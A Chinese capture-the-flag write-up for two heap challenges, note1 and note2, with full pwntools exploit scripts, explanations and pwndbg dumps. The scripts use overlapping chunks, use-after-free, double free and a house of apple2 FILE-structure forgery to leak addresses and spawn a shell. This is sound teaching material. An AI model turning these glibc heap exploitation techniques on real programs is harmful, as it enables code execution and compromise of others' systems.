note1
个人感觉这个题逆向分析还是稍微有点复杂的,特别是堆块的初始化,建议先写完函数后gdb看一下堆块初始化存放的东西然后结合ida分析会容易理解点。
漏洞分析
题目实现了创建,编辑,调用三个功能
这里限定了只能申请0和1两个堆块。
功能三主要是一个存放在堆上的一个show功能的函数,可以打印堆块内容
在edit_name函数里有一个free操作,但是并未制空指针,并且name length也是我们重新输入的,这就给了我们构造堆块重叠修改堆块内容的可能。也正是利用这一点实现libc的泄露以及get shell。
exp
from pwn import *
context.log_level='debug'
r=process('./note1')
elf=ELF('./note1')
libc=elf.libc
def add(id,len,name,tag,func):
r.sendlineafter("> ",'1')
r.sendlineafter("id: ",str(id))
r.sendlineafter("name_length: ",str(len))
r.sendlineafter("name: ",name)
r.sendlineafter("tag: ",tag)
r.sendlineafter("func: ",str(func))
def edit1(id,len,name):
r.sendlineafter("> ",'2')
r.sendlineafter("id: ",str(id))
r.sendlineafter("> ",str(1))
r.sendlineafter("name_length: ",str(len))
r.sendlineafter("name: ",name)
def edit2(id,tag):
r.sendlineafter("> ",'2')
r.sendlineafter("id: ",str(id))
r.sendlineafter("> ",str(2))
r.sendafter("new tag: ",tag)
def edit3(id,func):
r.sendlineafter("> ",'2')
r.sendlineafter("id: ",str(id))
r.sendlineafter("> ",str(3))
r.sendlineafter("func: ",str(func))
def call(id):
r.sendlineafter("> ",'3')
r.sendlineafter("id: ",str(id))
add(0,0x500,'a'*0x100,'b',1)
edit2(0,'a'*8)
edit3(0,1)
call(0)
r.recvuntil('a'*8)
leak1=u64(r.recv(6).ljust(8,b'\x00'))
print("leak1->",hex(leak1))
pie_base=leak1-0x131b
print("pie_base->",hex(pie_base))
puts_got=pie_base+0x3f88
puts_plt=pie_base+0x1100
edit1(0,0x17,'')
add(1,0x17,'','',1)
edit1(0,0x101,b'c'*0x20+p64(0)+p64(pie_base+0x131b)+p64(puts_got))
call(1)
leak2=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("leak2->",hex(leak2))
libc_base=leak2-libc.sym['puts']
print("libc_base->",hex(libc_base))
system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b'/bin/sh\x00'))
edit1(0,0x101,b'c'*0x20+b'/bin/sh\x00'+p64(system))
call(1)
# gdb.attach(r)
r.interactive()
分析
首先执行第一行add,看一下堆块初始化
add(0,0x500,'a'*0x100,'b',1)
edit2(0,'a'*8)
edit3(0,1)
call(0)
r.recvuntil('a'*8)
leak1=u64(r.recv(6).ljust(8,b'\x00'))
print("leak1->",hex(leak1))
pie_base=leak1-0x131b
print("pie_base->",hex(pie_base))
puts_got=pie_base+0x3f88
puts_plt=pie_base+0x1100
这里泄露程序基地址
edit1(0,0x17,'')
add(1,0x17,'','',1)
edit1(0,0x101,b'c'*0x20+p64(0)+p64(pie_base+0x131b)+p64(puts_got))
call(1)
由于我们edit把name的长度改为0x20,那么再申请堆块1就会从0x20处开始申请,但是由于之前0x500的堆块0的指针没有制空,因此我们可以通过修改堆块0把堆块1的内容进行修改从而泄露libc
这里解释一下,为什么写入的got表,打印的却是libc地址,看一下程序里的打印函数
这里打印的name其实是0x20堆块(每一个name堆块上边的一个)里的第二行,打印的是这个地址里的内容,所以可以泄露出libc。
edit1(0,0x101,b'c'*0x20+b'/bin/sh\x00'+p64(system))
call(1)
然后在通过堆块堆叠修改堆块0改堆块1原来的show功能为system,这里的tag位置为'/bin/sh\x00'
然后就call1,就调用system("/bin/sh\x00")。
note2
刚学完apple2,然后来看这个题,当时看到这个题用apple2做的时候,第一想法先把apple2学了。
不会apple2的移步(23条消息) house of apple2(改进)_KingKi1L3r的博客-CSDN博客
这里参考z1r0师傅的exp(5条消息) 2022 网信柏鹭杯 pwn2 note2_z1r0.的博客-CSDN博客
漏洞分析
四个功能创建,释放,打印,退出
退出是exit,那么就想到用apple2的调用链
存在uaf漏洞
exp
from pwn import *
context.log_level='debug'
r=process('./note2')
elf=ELF('./note2')
libc=elf.libc
def add(index,size,content):
r.sendlineafter("------------",'1')
r.sendlineafter("Index?",str(index))
r.sendlineafter("Size?",str(size))
r.sendlineafter("Enter content: ",content)
def delete(index):
r.sendlineafter("------------",'2')
r.sendlineafter("Index?",str(index))
def show(index):
r.sendlineafter("------------",'3')
r.sendlineafter("Index?",str(index))
for i in range(8):#0-7
add(i,0x80,'aaaa')
add(8,0x80,'bbbb')#8
for i in range(8):
delete(i)
show(7)
leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("leak->",hex(leak))
libc_base=leak-0x219ce0
print("libc_base->",hex(libc_base))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
system_addr = libc_base + libc.sym['system']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
one_gadget=[0x50a37,0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebdaf,0xebdb3]
ogg=libc_base+one_gadget[1]
show(0)
r.recv()
key = u64(r.recv(5).ljust(8,b'\x00'))
print("key->",hex(key))
heap_base=key<<12
print("heap_base->",hex(heap_base))
for i in range(8):
add(i, 0x80, 'aaaa')
for i in range(8):
add(i, 0x70, 'aaaa')
add(8, 0x70, 'aaaa')
for i in range(8):
delete(i)
delete(8)
delete(7)#double free
for i in range(7):
add(i, 0x70, 'aaaa')
p1 = p64(key ^ _IO_list_all)
print(hex(key ^ _IO_list_all))
add(0, 0x70, p1)
add(1, 0x70, 'aaa')
add(2, 0x70, 'aaa')
target_addr = heap_base + 0xc30
add(0, 0x70, p64(target_addr))
p2 = b'\x00'
p2 = p2.ljust(0x28, b'\x00') + p64(1)
p2 = p2.ljust(0xa0, b'\x00') + p64(target_addr + 0xe0)
p2 = p2.ljust(0xd8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xe0 + 0xe0, b'\x00') + p64(target_addr + 0x210)
add(1, 0x200, p2)
p3 = b'\x00'
p3 = p3.ljust(0x68, b'\x00') + p64(ogg)
add(2, 0x200, p3)
r.sendlineafter("> ", '4')
# gdb.attach(r)
r.interactive()
思路
1.首先释放堆块到unsortedbin和tcachebin中,然后show打印堆地址和libc地址
2.通过uaf漏洞申请到_IO_list_all那块空间进行构造,构造方法跟apple2一样
3.exit退出执行调用链
分析
for i in range(8):#0-7
add(i,0x80,'aaaa')
add(8,0x80,'bbbb')#8
for i in range(8):
delete(i)
show(7)
leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("leak->",hex(leak))
libc_base=leak-0x219ce0
print("libc_base->",hex(libc_base))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
system_addr = libc_base + libc.sym['system']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
one_gadget=[0x50a37,0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebdaf,0xebdb3]
ogg=libc_base+one_gadget[1]
show(0)
r.recv()
key = u64(r.recv(5).ljust(8,b'\x00'))
print("key->",hex(key))
heap_base=key<<12
print("heap_base->",hex(heap_base))
首先通过释放堆块泄露地址
for i in range(8):
add(i, 0x80, 'aaaa')
for i in range(8):
add(i, 0x70, 'aaaa')
add(8, 0x70, 'aaaa')
for i in range(8):
delete(i)
delete(8)
delete(7)#double free
for i in range(7):
add(i, 0x70, 'aaaa')
p1 = p64(key ^ _IO_list_all)
print(hex(key ^ _IO_list_all))
add(0, 0x70, p1)
add(1, 0x70, 'aaa')
add(2, 0x70, 'aaa')
target_addr = heap_base + 0xc30
add(0, 0x70, p64(target_addr))
制造uaf,修改指针指向_IO_list_all,注意这里指针有一个加密操作,需要异或key
申请这个堆块并将堆块内容写到另一个堆块上,从而伪造_IO_list_all
p2 = b'\x00'
p2 = p2.ljust(0x28, b'\x00') + p64(1)
p2 = p2.ljust(0xa0, b'\x00') + p64(target_addr + 0xe0)
p2 = p2.ljust(0xd8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xe0 + 0xe0, b'\x00') + p64(target_addr + 0x210)
add(1, 0x200, p2)
p3 = b'\x00'
p3 = p3.ljust(0x68, b'\x00') + p64(ogg)
add(2, 0x200, p3)
pwndbg> p *_IO_list_all
$1 = {
file = {
_flags = 0,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x55b4b440fd10,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f8d0c6070c0 <_IO_wfile_jumps>
}
pwndbg> p *(struct _IO_wide_data *)0x55b4b440fd10
$2 = {
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_IO_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_IO_last_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_codecvt = {
__cd_in = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
},
__cd_out = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
}
},
_shortbuf = L"",
_wide_vtable = 0x55b4b440fe40
}
pwndbg> p *(const struct _IO_jump_t *) 0x55b4b440fe40
$3 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x0,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x7f8d0c4dccf1 <__execvpe+1137>,
__read = 0xa,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}
动态调试
成功get shell!
版权归原作者 KingKi1L3r 所有, 如有侵权,请联系我们删除。